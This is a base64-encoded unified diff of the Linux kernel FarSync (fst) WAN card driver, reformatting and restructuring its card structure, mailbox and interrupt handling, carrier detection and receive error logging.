ZXNzICovCi0gICAgICAgIHVuc2lnbmVkIHNob3J0IHBjaV9jb25mOyAgICAgICAgLyogUENJIGNh cmQgY29uZmlnIGluIEkvTyBzcGFjZSAqLwotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIC8qIFBlciBwb3J0IGluZm8gKi8KLSAgICAgICAgc3RydWN0IGZzdF9wb3J0X2lu Zm8gcG9ydHNbIEZTVF9NQVhfUE9SVFMgXTsKKwljaGFyICptZW07CQkvKiBDYXJkIG1lbW9yeSBt YXBwZWQgdG8ga2VybmVsIHNwYWNlICovCisJY2hhciAqY3RsbWVtOwkJLyogQ29udHJvbCBtZW1v cnkgZm9yIFBDSSBjYXJkcyAqLworCXVuc2lnbmVkIGludCBwaHlzX21lbTsJLyogUGh5c2ljYWwg bWVtb3J5IHdpbmRvdyBhZGRyZXNzICovCisJdW5zaWduZWQgaW50IHBoeXNfY3RsbWVtOwkvKiBQ aHlzaWNhbCBjb250cm9sIG1lbW9yeSBhZGRyZXNzICovCisJdW5zaWduZWQgaW50IGlycTsJLyog SW50ZXJydXB0IHJlcXVlc3QgbGluZSBudW1iZXIgKi8KKwl1bnNpZ25lZCBpbnQgbnBvcnRzOwkv KiBOdW1iZXIgb2Ygc2VyaWFsIHBvcnRzICovCisJdW5zaWduZWQgaW50IHR5cGU7CS8qIFR5cGUg aW5kZXggb2YgY2FyZCAqLworCXVuc2lnbmVkIGludCBzdGF0ZTsJLyogU3RhdGUgb2YgY2FyZCAq LworCXNwaW5sb2NrX3QgY2FyZF9sb2NrOwkvKiBMb2NrIGZvciBTTVAgYWNjZXNzICovCisJdW5z aWduZWQgc2hvcnQgcGNpX2NvbmY7CS8qIFBDSSBjYXJkIGNvbmZpZyBpbiBJL08gc3BhY2UgKi8K KwkvKiBQZXIgcG9ydCBpbmZvICovCisJc3RydWN0IGZzdF9wb3J0X2luZm8gcG9ydHNbRlNUX01B WF9QT1JUU107CisJc3RydWN0IHBjaV9kZXY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ICNkZWZpbmUgRlNU X1dSVyhDLEUsVykgIHdyaXRldyAoKFcpLCAoQyktPm1lbSArIFdJTl9PRkZTRVQoRSkpCiAjZGVm aW5lIEZTVF9XUkwoQyxFLEwpICB3cml0ZWwgKChMKSwgKEMpLT5tZW0gKyBXSU5fT0ZGU0VUKEUp KQogCi0KIC8qCiAgKiAgICAgIERlYnVnIHN1cHBvcnQKICAqLwpAQCAtNDAzLDMwICs1MTksMTQ1 IEBACiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ayAoIEtFUk5fREVCVUcg RlNUX05BTUUgIjogIiBmbXQsICMjIEEgKQogCiAjZWxzZQotIyBkZWZpbmUgZGJnKFguLi4pICAg ICAgLyogTk9QICovCisjZGVmaW5lIGRiZyhYLi4uKQkJLyogTk9QICovCiAjZW5kaWYKIAotCiAv KiAgICAgIFByaW50aW5nIHNob3J0IGN1dHMKICAqLwogI2RlZmluZSBwcmludGtfZXJyKGZtdCxB Li4uKSAgICBwcmludGsgKCBLRVJOX0VSUiAgICAgRlNUX05BTUUgIjogIiBmbXQsICMjIEEgKQog I2RlZmluZSBwcmludGtfd2FybihmbXQsQS4uLikgICBwcmludGsgKCBLRVJOX1dBUk5JTkcgRlNU X05BTUUgIjogIiBmbXQsICMjIEEgKQogI2RlZmluZSBwcmludGtfaW5mbyhmbXQsQS4uLikgICBw cmludGsgKCBLRVJOX0lORk8gICAgRlNUX05BTUUgIjogIiBmbXQsICMjIEEgKQogCi0KIC8qCiAg KiAgICAgIFBDSSBJRCBsb29rdXAgdGFibGUKICAqLwogc3RhdGljIHN0cnVjdCBwY2lfZGV2aWNl X2lkIGZzdF9wY2lfZGV2X2lkW10gX19kZXZpbml0ZGF0YSA9IHsKLSAgICAgICAgeyBGU0NfUENJ X1ZFTkRPUl9JRCwgVDJQX1BDSV9ERVZJQ0VfSUQsIFBDSV9BTllfSUQsIFBDSV9BTllfSUQsIDAs IDAsCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgIC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29tcGxl dGUgKi8KLSAgICAgICAgd2hpbGUgKCBtYnZhbCA+IE5BSyApCi0gICAgICAgIHsKLSAgICAgICAg ICAgICAgICBzcGluX3VubG9ja19pcnFyZXN0b3JlICggJmNhcmQtPmNhcmRfbG9jaywgZmxhZ3Mg KTsKLSAgICAgICAgICAgICAgICBzY2hlZHVsZV90aW1lb3V0ICggMSApOwotICAgICAgICAgICAg ICAgIHNwaW5fbG9ja19pcnFzYXZlICggJmNhcmQtPmNhcmRfbG9jaywgZmxhZ3MgKTsKLQotICAg ICAgICAgICAgICAgIGlmICggKytzYWZldHkgPiAxMDAwICkKLSAgICAgICAgICAgICAgICB7Ci0g ICAgICAgICAgICAgICAgICAgICAgICBwcmludGtfZXJyICgiTWFpbGJveCBzYWZldHkgdGltZW91 dFxuIik7Ci0gICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKLSAgICAgICAgICAgICAgICB9 Ci0KLSAgICAgICAgICAgICAgICBtYnZhbCA9IEZTVF9SRFcgKCBjYXJkLCBwb3J0TWFpbGJveFtw b3J0LT5pbmRleF1bMF0pOwotICAgICAgICB9Ci0gICAgICAgIGlmICggc2FmZXR5ID4gMCApCi0g ICAgICAgIHsKLSAgICAgICAgICAgICAgICBkYmcgKCBEQkdfQ01ELCJNYWlsYm94IGNsZWFyIGFm dGVyICVkIGppZmZpZXNcbiIsIHNhZmV0eSApOwotICAgICAgICB9Ci0gICAgICAgIGlmICggbWJ2 YWwgPT0gTkFLICkKLSAgICAgICAgewotICAgICAgICAgICAgICAgIGRiZyAoIERCR19DTUQsImlz c3VlX2NtZDogcHJldmlvdXMgY29tbWFuZCB3YXMgTkFLJ2RcbiIpOwotICAgICAgICB9Ci0KLSAg ICAgICAgRlNUX1dSVyAoIGNhcmQsIHBvcnRNYWlsYm94W3BvcnQtPmluZGV4XVswXSwgY21kICk7 Ci0KLSAgICAgICAgaWYgKCBjbWQgPT0gQUJPUlRUWCB8fCBjbWQgPT0gU1RBUlRQT1JUICkKLSAg IC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HBpOwotICAgICAgICB1bnNpZ25lZCBpbnQgb2Zmc2V0OwotICAgICAgICB1bnNpZ25lZCBs b25nIGZsYWdzOwotICAgICAgICBzdHJ1Y3QgZnN0X2NhcmRfaW5mbyAqY2FyZDsKLQotICAgICAg ICBwaSAgID0gcG9ydC0+aW5kZXg7Ci0gICAgICAgIGNhcmQgPSBwb3J0LT5jYXJkOwotICAgICAg ICBzcGluX2xvY2tfaXJxc2F2ZSAoICZjYXJkLT5jYXJkX2xvY2ssIGZsYWdzICk7Ci0gICAgICAg IGZvciAoIGkgPSAwIDsgaSA8IE5VTV9SWF9CVUZGRVIgOyBpKysgKQotICAgICAgICB7Ci0gICAg ICAgICAgICAgICAgb2Zmc2V0ID0gQlVGX09GRlNFVCAoIHJ4QnVmZmVyW3BpXVtpXVswXSk7Ci0K LSAgICAgICAgICAgICAgICBGU1RfV1JXICggY2FyZCwgcnhEZXNjclJpbmdbcGldW2ldLmxhZHIs ICh1MTYpIG9mZnNldCApOwotICAgICAgICAgICAgICAgIEZTVF9XUkIgKCBjYXJkLCByeERlc2Ny UmluZ1twaV1baV0uaGFkciwgKHU4KSggb2Zmc2V0ID4+IDE2ICkpOwotICAgICAgICAgICAgICAg IEZTVF9XUlcgKCBjYXJkLCByeERlc2NyUmluZ1twaV1baV0uYmNudCwKLSAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICBjbnZfYmNudCAoIExFTl9SWF9CVUZGRVIgKSk7Ci0g ICAgICAgICAgICAgICAgRlNUX1dSVyAoIGNhcmQsIHJ4RGVzY3JSaW5nW3BpXVtpXS5tY250LCAw ICk7Ci0gICAgICAgICAgICAgICAgRlNUX1dSQiAoIGNhcmQsIHJ4RGVzY3JSaW5nW3BpXVtpXS5i aXRzLCBETUFfT1dOICk7Ci0gICAgICAgIH0KLSAgICAgICAgcG9ydC0+cnhwb3MgID0gMDsKLSAg ICAgICAgc3Bpbl91bmxvY2tfaXJxcmVzdG9yZSAoICZjYXJkLT5jYXJ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lbnQKICAqLwog c3RhdGljIHZvaWQKLWZzdF9pbnRyX2N0bGNoZyAoIHN0cnVjdCBmc3RfY2FyZF9pbmZvICpjYXJk LCBzdHJ1Y3QgZnN0X3BvcnRfaW5mbyAqcG9ydCApCitmc3RfaW50cl9jdGxjaGcoc3RydWN0IGZz dF9jYXJkX2luZm8gKmNhcmQsIHN0cnVjdCBmc3RfcG9ydF9pbmZvICpwb3J0KQogewotICAgICAg ICBpbnQgc2lnbmFsczsKKwlpbnQgc2lnbmFsczsKIAotICAgICAgICBzaWduYWxzID0gRlNUX1JE TCAoIGNhcmQsIHYyNERlYm91bmNlZFN0c1twb3J0LT5pbmRleF0pOworCXNpZ25hbHMgPSBGU1Rf UkRMKGNhcmQsIHYyNERlYm91bmNlZFN0c1twb3J0LT5pbmRleF0pOworCisJaWYgKHNpZ25hbHMg JiAoKChwb3J0LT5od2lmID09IFgyMSkgfHwgKHBvcnQtPmh3aWYgPT0gWDIxRCkpCisJCSAgICAg ICA/IElQU1RTX0lORElDQVRFIDogSVBTVFNfRENEKSkgeworCQlpZiAoIW5ldGlmX2NhcnJpZXJf b2socG9ydF90b19kZXYocG9ydCkpKSB7CisJCQlkYmcoREJHX0lOVFIsICJEQ0QgYWN0aXZlXG4i KTsKKwkJCW5ldGlmX2NhcnJpZXJfb24ocG9ydF90b19kZXYocG9ydCkpOworCQl9CisJfSBlbHNl IHsKKwkJaWYgKG5ldGlmX2NhcnJpZXJfb2socG9ydF90b19kZXYocG9ydCkpKSB7CisJCQlkYmco REJHX0lOVFIsICJEQ0QgbG9zdFxuIik7CisJCQluZXRpZl9jYXJyaWVyX29mZihwb3J0X3RvX2Rl dihwb3J0KSk7CisJCX0KKwl9Cit9CiAKLSAgICAgICAgaWYgKCBzaWduYWxzICYgKCggcG9ydC0+ aHdpZiA9PSBYMjEgKSA/IElQU1RTX0lORElDQVRFIDogSVBTVFNfRENEICkpCi0gICAgICAgIHsK LSAgICAgICAgICAgICAgICBpZiAoICEgbmV0aWZfY2Fycmllcl9vayAoIHBvcnRfdG9fZGV2ICgg cG9ydCApKSkKLSAgICAgICAgICAgICAgICB7Ci0gICAgICAgICAgICAgICAgICAgICAgICBkYmcg KCBEQkdfSU5UUiwiRENEIGFjdGl2ZVxuIik7Ci0gICAgICAgICAgICAgICAgICAgICAgICBuZXRp Zl9jYXJyaWVyX29uICggcG9ydF90b19kZXYgKCBwb3J0ICkpOwotICAgICAgICAgICAgICAgIH0K LSAgICAgICAgfQotICAgICAgICBlbHNlCi0gICAgICAgIHsKLSAgICAgICAgICAgICAgICBpZiAo IG5ldGlmX2NhcnJpZXJfb2sgKCBwb3J0X3RvX2RldiAoIHBvcnQgKSkpCi0gICAgICAgICAgICAg ICAgewotICAgICAgICAgICAgICAgICAgICAgICAgZGJnICggREJHX0lOVFIsIkRDRCBsb3N0XG4i KTsKLSAgICAgICAgICAgICAgICAgICAgICAgIG5ldGlmX2NhcnJpZXJfb2ZmICggcG9ydF90b19k ZXYgKCBwb3J0ICkpOwotICAgICAgICAgICAgICAgIH0KLSAgICAgICAgfQorLyogICAgICBMb2cg UnggRXJyb3JzCisgKi8KK3N0YXRpYyB2b2lkCitmc3RfbG9nX3J4X2Vycm9yKHN0cnVjdCBmc3Rf Y2FyZF9pbmZvICpjYXJkLCBzdHJ1Y3QgZnN0X3BvcnRfaW5mbyAqcG9ydCwKKwkJIHVuc2lnbmVk IGNoYXIgZG1hYml0cywgaW50IHJ4cCwgdW5zaWduZWQgc2hvcnQgbGVuKQoreworCS8qIAorCSAq IEluY3JlbWVudCB0aGUgYXBwcm9wcmlhdGUgZXJyb3IgY291bnRlcgorCSAqLworCXBvcnQtPmhk bGMuc3RhdHMucnhfZXJyb3JzKys7CisJaWYgKGRtYWJpdHMgJiBSWF9PRkxPKSB7CisJCXBvcnQt PmhkbGMuc3RhdHMucnhfZmlmb19lcnJvcnMrKzsKKwkJZGJnKERCR19BU1MsICJSeCBmaWZvIGVy cm9yIG9uIGNhcmQgJWQgcG9ydCAlZCB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CiAvKiAgICAgIFJ4IGNvbXBsZXRl IGludGVycnVwdAogICovCiBzdGF0aWMgdm9pZAotZnN0X2ludHJfcnggKCBzdHJ1Y3QgZnN0X2Nh cmRfaW5mbyAqY2FyZCwgc3RydWN0IGZzdF9wb3J0X2luZm8gKnBvcnQgKQorZnN0X2ludHJfcngo c3RydWN0IGZzdF9jYXJkX2luZm8gKmNhcmQsIHN0cnVjdCBmc3RfcG9ydF9pbmZvICpwb3J0KQog ewotICAgICAgICB1bnNpZ25lZCBjaGFyIGRtYWJpdHM7Ci0gICAgICAgIGludCBwaTsKLSAgICAg ICAgaW50IHJ4cDsKLSAgICAgICAgdW5zaWduZWQgc2hvcnQgbGVuOwotICAgICAgICBzdHJ1Y3Qg c2tfYnVmZiAqc2tiOwotICAgICAgICBpbnQgaTsKLQotCi0gICAgICAgIC8qIENoZWNrIHdlIGhh dmUgYSBidWZmZXIgdG8gcHJvY2VzcyAqLwotICAgICAgICBwaSAgPSBwb3J0LT5pbmRleDsKLSAg ICAgICAgcnhwID0gcG9ydC0+cnhwb3M7Ci0gICAgICAgIGRtYWJpdHMgPSBGU1RfUkRCICggY2Fy ZCwgcnhEZXNjclJpbmdbcGldW3J4cF0uYml0cyApOwotICAgICAgICBpZiAoIGRtYWJpdHMgJiBE TUFfT1dOICkKLSAgICAgICAgewotICAgICAgICAgICAgICAgIGRiZyAoIERCR19SWCB8IERCR19J TlRSLCJpbnRyX3J4OiBObyBidWZmZXIgcG9ydCAlZCBwb3MgJWRcbiIsCi0gICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgcGksIHJ4cCApOwotICAgICAgICAgICAgICAgIHJl dHVybjsKLSAgICAgICAgfQotCi0gICAgICAgIC8qIEdldCBidWZmZXIgbGVuZ3RoICovCi0gICAg ICAgIGxlbiA9IEZTVF9SRFcgKCBjYXJkLCByeERlc2NyUmluZ1twaV1bcnhwXS5tY250ICk7Ci0g ICAgICAgIC8qIERpc2NhcmQgdGhlIENSQyAqLwotICAgICAgICBsZW4gLT0gMjsKLQotICAgICAg ICAvKiBDaGVjayBidWZmZXIgbGVuZ3RoIGFuZCBmb3Igb3RoZXIgZXJyb3JzLiBXZSBpbnNpc3Qg b24gb25lIHBhY2tldAotICAgICAgICAgKiBpbiBvbmUgYnVmZmVyLiBUaGlzIHNpbXBsaWZpZXMg dGhpbmdzIGdyZWF0bHkgYW5kIHNpbmNlIHdlJ3ZlCi0gICAgICAgICAqIGFsbG9jYXRlZCA4SyBp dCBzaG91bGRuJ3QgYmUgYSByZWFsIHdvcmxkIGxpbWl0YXRpb24KLSAgICAgICAgICovCi0gICAg ICAgIGRiZyAoIERCR19SWCwiaW50cl9yeDogJWQsJWQ6IGZsYWdzICV4IGxlbiAlZFxuIiwgcGks IHJ4cCwgZG1hYml0cywKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBs ZW4gKTsKLSAgICAgICAgaWYgKCBkbWFiaXRzICE9ICggUlhfU1RQIHwgUlhfRU5QICkgfHwgbGVu ID4gTEVOX1JYX0JVRkZFUiAtIDIgKQotICAgICAgICB7Ci0gICAgICAgICAgICAgICAgcG9ydC0+ aGRsYy5zdGF0cy5yeF9lcnJvcnMrKzsKLQotICAgICAgICAgICAgICAgIC8qIFVwZGF0ZSBlcnJv ciBzdGF0cyBhbmQgZGlzY2FyZCBidWZmZXIgKi8KLSAgICAgICAgICAgICAgICBpZiAoIGRtYWJp dHMgJiBSWF9PRkxPICkKLSAgICAgICAgICAgICAgICB7Ci0gICAgICAgICAgICAgICAgICAgICAg ICBwb3J0LT5oZGxjLnN0YXRzLnJ4X2ZpZm9fZXJyb3JzKys7Ci0gICAgICAgICAgICAgICAgfQot ICAgICAgICAgICAgICAgIGlmICggZG1hYml0cyAmIFJYX0NSQyApCi0gICAgICAgICAgICAgICAg ewotICAgICAgICAgICAgICAgICAgICAgICAgcG9ydC0+aGRsYy5zdGF0cy5yeF9jcmNfZXJyb3Jz Kys7Ci0gICAgICAgICAgICAgICAgfQotICAgICAgICAgICAgICAgIGlmICggZG1hYml0cyAmIFJY X0ZSQU0gKQotICAgICAgICAgICAgICAgIHsKLSAgICAgICAgICAgICAgICAgICAgICAgIHBvcnQt PmhkbGMuc3RhdHMucnhfZnJhbWVfZXJyb3JzKys7Ci0gICAgICAgICAgICAgICAgfQotICAgICAg ICAgICAgICAgIGlmICggZG1hYml0cyA9PSAoIFJYX1NUUCB8IFJYX0VOUCApKQotICAgICAgICAg ICAgICAgIHsKLSAgICAgICAgICAgICAgICAgICAgICAgIHBvcnQtPmhkbGMuc3RhdHMucnhfbGVu Z3RoX2Vycm9ycysrOwotICAgICAgICAgICAgICAgIH0KLQotICAgICAgICAgICAgICAgIC8qIERp c2NhcmQgYnVmZmVyIGRlc2NyaXB0b3JzIHVudGlsIHdlIHNlZSB0aGUgZW5kIG9mIHBhY2tldAot ICAgICAgICAgICAgICAgICAqIG1hcmtlcgotICAgICAgICAgICAgICAgICAqLwotICAgICAgICAg ICAgICAgIGkgPSAwOwotICAgICAgICAgICAgICAgIHdoaWxlICgoIGRtYWJpdHMgJiAoIERNQV9P V04gfCBSWF9FTlAgKSkgPT0gMCApCi0gICAgICAgICAgICAgICAgewotICAgICAgICAgICAgICAg ICAgICAgICAgRlNUX1dSQiAoIGNhcmQsIHJ4RGVzY3JSaW5nW3BpXVtyeHBdLmJpdHMsIERNQV9P V04gKTsKLSAgICAgICAgICAgICAgICAgICAgICAgIGlmICggKytyeHAgPj0gTlVNX1JYX0JVRkZF UiApCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJ4cCA9IDA7Ci0gICAgICAgICAg ICAgICAgICAgICAgICBpZiAoICsraSA+IE5VTV9SWF9CVUZGRVIgKQotICAgICAgICAgICAgICAg ICAgICAgICAgewotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkYmcgKCBEQkdfQVNT LCJpbnRyX3J4OiBEaXNjYXJkaW5nIG1vcmUgYnVmcyIKLSAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICIgdGhhbiB3ZSBoYXZlXG4iKTsKLSAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgYnJlYWs7Ci0gICAgICAgICAgICAgICAgICAgICAgICB9Ci0g ICAgICAgICAgICAgICAgICAgICAgICBkbWFiaXRzID0gRlNUX1JEQiAoIGNhcmQsIHJ4RGVzY3JS aW5nW3BpXVtyeHBdLmJpdHMgKTsKLSAgICAgICAgICAgICAgICB9Ci0KLSAgICAgICAgICAgICAg ICAvKiBEaXNjYXJkIHRoZSB0ZXJtaW5hbCBidWZmZXIgKi8KLSAgICAgICAgICAgICAgICBpZiAo ICEgKCBkbWFiaXRzICYgRE1BX09XTiApKQotICAgICAgICAgICAgICAgIHsKLSAgICAgICAgICAg ICAgICAgICAgICAgIEZTVF9XUkIgKCBjYXJkLCByeERlc2NyUmluZ1twaV1bcnhwXS5iaXRzLCBE TUFfT1dOICk7Ci0gICAgICAgICAgICAgICAgICAgICAgICBpZiAoICsrcnhwID49IE5VTV9SWF9C VUZGRVIgKQotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByeHAgPSAwOwotICAgICAg ICAgICAgICAgIH0KLSAgICAgICAgICAgICAgICBwb3J0LT5yeHBvcyA9IHJ4cDsKLSAgICAgICAg ICAgICAgICByZXR1cm47Ci0gICAgICAgIH0KLQotICAgICAgICAvKiBBbGxvY2F0ZSBTS0IgKi8K LSAgICAgICAgaWYgKCggc2tiID0gZGV2X2FsbG9jX3NrYiAoIGxlbiApKSA9PSBOVUxMICkKLSAg ICAgICAgewotICAgICAgICAgICAgICAgIGRiZyAoIERCR19SWCwiaW50cl9yeDogY2FuJ3QgYWxs b2NhdGUgYnVmZmVyXG4iKTsKLQotICAgICAgICAgICAgICAgIHBvcnQtPmhkbGMuc3RhdHMucnhf ZHJvcHBlZCsrOwotCi0gICAgICAgICAgICAgICAgLyogUmV0dXJuIGRlc2NyaXB0b3IgdG8gY2Fy ZCAqLwotICAgICAgICAgICAgICAgIEZTVF9XUkIgKCBjYXJkLCByeERlc2NyUmluZ1twaV1bcnhw XS5iaXRzLCBETUFfT1dOICk7Ci0KLSAgICAgICAgICAgICAgICBpZiAoICsrcnhwID49IE5VTV9S WF9CVUZGRVIgKQotICAgICAgICAgICAgICAgICAgICAgICAgcG9ydC0+cnhwb3MgPSAwOwotICAg ICAgICAgICAgICAgIGVsc2UKLSAgICAgICAgICAgICAgICAgICAgICAgIHBvcnQtPnJ4cG9zID0g cnhwOwotICAgICAgICAgICAgICAgIHJldHVybjsKLSAgICAgICAgfQotCi0gICAgICAgIG1lbWNw eV9mcm9taW8gKCBza2JfcHV0ICggc2tiLCBsZW4gKSwKLSAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgY2FyZC0+bWVtICsgQlVGX09GRlNFVCAoIHJ4QnVmZmVyW3BpXVtyeHBdWzBdKSwK LSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbGVuICk7Ci0KLSAgICAgICAgLyogUmVz ZXQgYnVmZmVyIGRlc2NyaXB0b3IgKi8KLSAgICAgICAgRlNUX1dSQiAoIGNhcmQsIHJ4RGVzY3JS aW5nW3BpXVtyeHBdLmJpdHMsIERNQV9PV04gKTsKLSAgICAgICAgaWYgKCArK3J4cCA+PSBOVU1f UlhfQlVGRkVSICkKLSAgICAgICAgICAgICAgICBwb3J0LT5yeHBvcyA9IDA7Ci0gICAgICAgIGVs c2UKLSAgICAgICAgICAgICAgICBwb3J0LT5yeHBvcyA9IHJ4cDsKLQotICAgICAgICAvKiBVcGRh dGUgc3RhdHMgKi8KLSAgICAgICAgcG9ydC0+aGRsYy5zdGF0cy5yeF9wYWNrZXRzKys7Ci0gICAg ICAgIHBvcnQtPmhkbGMuc3RhdHMucnhfYnl0ZXMgKz0gbGVuOwotCi0gICAgICAgIC8qIFB1c2gg dXBzdHJlYW0gKi8KLSAgICAgICAgc2tiLT5tYWMucmF3ID0gc2tiLT5kYXRhOwotICAgICAgICBz a2ItP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Qg KmRldl9pZCwgc3RydWN0IHB0X3JlZ3MgKnJlZ3MgKQorZnN0X2ludHIoaW50IGlycSwgdm9pZCAq ZGV2X2lkLCBzdHJ1Y3QgcHRfcmVncyAqcmVncykKIHsKLSAgICAgICAgc3RydWN0IGZzdF9jYXJk X2luZm8gKmNhcmQ7Ci0gICAgICAgIHN0cnVjdCBmc3RfcG9ydF9pbmZvICpwb3J0OwotICAgICAg ICBpbnQgcmRpZHg7ICAgICAgICAgICAgICAgICAgICAgIC8qIEV2ZW50IGJ1ZmZlciBpbmRpY2Vz ICovCi0gICAgICAgIGludCB3cmlkeDsKLSAgICAgICAgaW50IGV2ZW50OyAgICAgICAgICAgICAg ICAgICAgICAvKiBBY3R1YWwgZXZlbnQgZm9yIHByb2Nlc3NpbmcgKi8KLSAgICAgICAgaW50IHBp OwotCi0gICAgICAgIGlmICgoIGNhcmQgPSBkZXZfaWQgKSA9PSBOVUxMICkKLSAgICAgICAgewot ICAgICAgICAgICAgICAgIGRiZyAoIERCR19JTlRSLCJpbnRyOiBzcHVyaW91cyAlZFxuIiwgaXJx ICk7Ci0gICAgICAgICAgICAgICAgcmV0dXJuOwotICAgICAgICB9Ci0KLSAgICAgICAgZGJnICgg REJHX0lOVFIsImludHI6ICVkICVwXG4iLCBpcnEsIGNhcmQgKTsKLQotICAgICAgICBzcGluX2xv Y2sgKCAmY2FyZC0+Y2FyZF9sb2NrICk7Ci0KLSAgICAgICAgLyogQ2xlYXIgYW5kIHJlcHJpbWUg dGhlIGludGVycnVwdCBzb3VyY2UgKi8KLSAgICAgICAgZnN0X2NsZWFyX2ludHIgKCBjYXJkICk7 Ci0KLSAgICAgICAgLyogU2V0IHRoZSBzb2Z0d2FyZSBhY2tub3dsZWRnZSAqLwotICAgICAgICBG U1RfV1JCICggY2FyZCwgaW50ZXJydXB0SGFuZHNoYWtlLCAweEVFICk7Ci0KLSAgICAgICAgLyog RHJhaW4gdGhlIGV2ZW50IHF1ZXVlICovCi0gICAgICAgIHJkaWR4ID0gRlNUX1JEQiAoIGNhcmQs IGludGVycnVwdEV2ZW50LnJkaW5kZXggKTsKLSAgICAgICAgd3JpZHggPSBGU1RfUkRCICggY2Fy ZCwgaW50ZXJydXB0RXZlbnQud3JpbmRleCApOwotICAgICAgICB3aGlsZSAoIHJkaWR4ICE9IHdy aWR4ICkKLSAgICAgICAgewotICAgICAgICAgICAgICAgIGV2ZW50ID0gRlNUX1JEQiAoIGNhcmQs IGludGVycnVwdEV2ZW50LmV2bnRidWZmW3JkaWR4XSk7Ci0KLSAgICAgICAgICAgICAgICBwb3J0 ID0gJmNhcmQtPnBvcnRzW2V2ZW50ICYgMHgwM107Ci0KLSAgICAgICAgICAgICAgICBkYmcgKCBE QkdfSU5UUiwiaW50cjogJXhcbiIsIGV2ZW50ICk7Ci0KLSAgICAgICAgICAgICAgICBzd2l0Y2gg KCBldmVudCApCi0gICAgICAgICAgICAgICAgewotICAgICAgICAgICAgICAgIGNhc2UgQ1RMQV9D SEc6Ci0gICAgICAgICAgICAgICAgY2FzZSBDVExCX0NIRzoKLSAgICAgICAgICAgICAgICBjYXNl IENUTENfQ0hHOgotICAgICAgICAgICAgICAgIGNhc2UgQ1RMRF9DSEc6Ci0gICAgICAgICAgICAg ICAgICAgICAgICBpZiAoIHBvcnQtPnJ1biApCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIGZzdF9pbnRyX2N0bGNoZyAoIGNhcmQsIHBvcnQgKTsKLSAgICAgICAgICAgICAgICAgICAg ICAgIGJyZWFrOwotCi0gICAgICAgICAgICAgICAgY2FzZSBBQlRBX1NFTlQ6Ci0gICAgICAgICAg ICAgICAgY2FzZSBBQlRCX1NFTlQ6Ci0gICAgICAgICAgICAgICAgY2FzZSBBQlRDX1NFTlQ6Ci0g ICAgICAgICAgICAgICAgY2FzZSBBQlREX1NFTlQ6Ci0gICAgICAgICAgICAgICAgICAgICAgICBk YmcgKCBEQkdfVFgsIkFib3J0IGNvbXBsZXRlIHBvcnQgJWRcbiIsIGV2ZW50ICYgMHgwMyApOwot ICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7Ci0KLSAgICAgICAgICAgICAgICBjYXNlIFRY QV9VTkRGOgotICAgICAgICAgICAgICAgIGNhc2UgVFhCX1VOREY6Ci0gICAgICAgICAgICAgICAg Y2FzZSBUWENfVU5ERjoKLSAgICAgICAgICAgICAgICBjYXNlIFRYRF9VTkRGOgotICAgICAgICAg ICAgICAgICAgICAgICAgLyogRGlmZmljdWx0IHRvIHNlZSBob3cgd2UnZCBnZXQgdGhpcyBnaXZl biB0aGF0IHdlCi0gICAgICAgICAgICAgICAgICAgICAgICAgKiBhbHdheXMgbG9hZCB1cCB0aGUg ZW50aXJlIHBhY2tldCBmb3IgRE1BLgotICAgICAgICAgICAgICAgICAgICAgICAgICovCi0gICAg ICAgICAgICAgICAgICAgICAgICBkYmcgKCBEQkdfVFgsIlR4IHVuZGVyZmxvdyBwb3J0ICVkXG4i LCBldmVudCAmIDB4MDMgKTsKLSAgICAgICAgICAgICAgICAgICAgICAgIHBvcnQtPmhkbGMuc3Rh dHMudHhfZXJyb3JzKys7Ci0gICAgICAgICAgICAgICAgICAgICAgICBwb3J0LT5oZGxjLnN0YXRz LnR4X2ZpZm9fZXJyb3JzKys7Ci0gICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKLQotICAg ICAgICAgICAgICAgIGNhc2UgSU5JVF9DUExUOgotICAgICAgICAgICAgICAgICAgICAgICAgZGJn ICggREJHX0lOSVQsIkNhcmQgaW5pdCBPSyBpbnRyXG4iKTsKLSAgICAgICAgICAgICAgICAgICAg ICAgIGJyZWFrOwotCi0gICAgICAgICAgICAgICAgY2FzZSBJTklUX0ZBSUw6Ci0gICAgICAgICAg ICAgICAgICAgICAgICBkYmcgKCBEQkdfSU5JVCwiQ2FyZCBpbml0IEZBSUxFRCBpbnRyXG4iKTsK LSAgICAgICAgICAgICAgICAgICAgICAgIGNhcmQtPnN0YXRlID0gRlNUX0lGQUlMRUQ7Ci0gICAg ICAgICAgICAgICAgICAgICAgICBicmVhazsKLQotICAgICAgICAgICAgICAgIGRlZmF1bHQ6Ci0g ICAgICAgICAgICAgICAgICAgICAgICBwcmludGtfZXJyICgiaW50cjogdW5rbm93biBjYXJkIGV2 ZW50IGNvZGUuIGlnbm9yZWRcbiIpOwotICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7Ci0g ICAgICAgICAgICAgICAgfQotCi0gICAgICAgICAgICAgICAgLyogQnVtcCBhbmQgd3JhcCB0aGUg aW5kZXggKi8KLSAgICAgICAgICAgICAgICBpZiAoICsrcmRpZHggPj0gTUFYX0NJUkJVRkYgKQot ICAgICAgICAgICAgICAgICAgICAgICAgcmRpZHggPSAwOwotICAgICAgICB9Ci0gICAgICAgIEZT VF9XUkIgKCBjYXJkLCBpbnRlcnJ1cHRFdmVudC5yZGluZGV4LCByZGlkeCApOwotCi0gICAgICAg IGZvciAoIHBpID0gMCwgcG9ydCA9IGNhcmQtPnBvcnRzIDsgcGkgPCBjYXJkLT5ucG9ydHMgOyBw aSsrLCBwb3J0KysgKQotICAgICAgICB7Ci0gICAgICAgICAgICAgICAgaWYgKCAhIHBvcnQtPnJ1 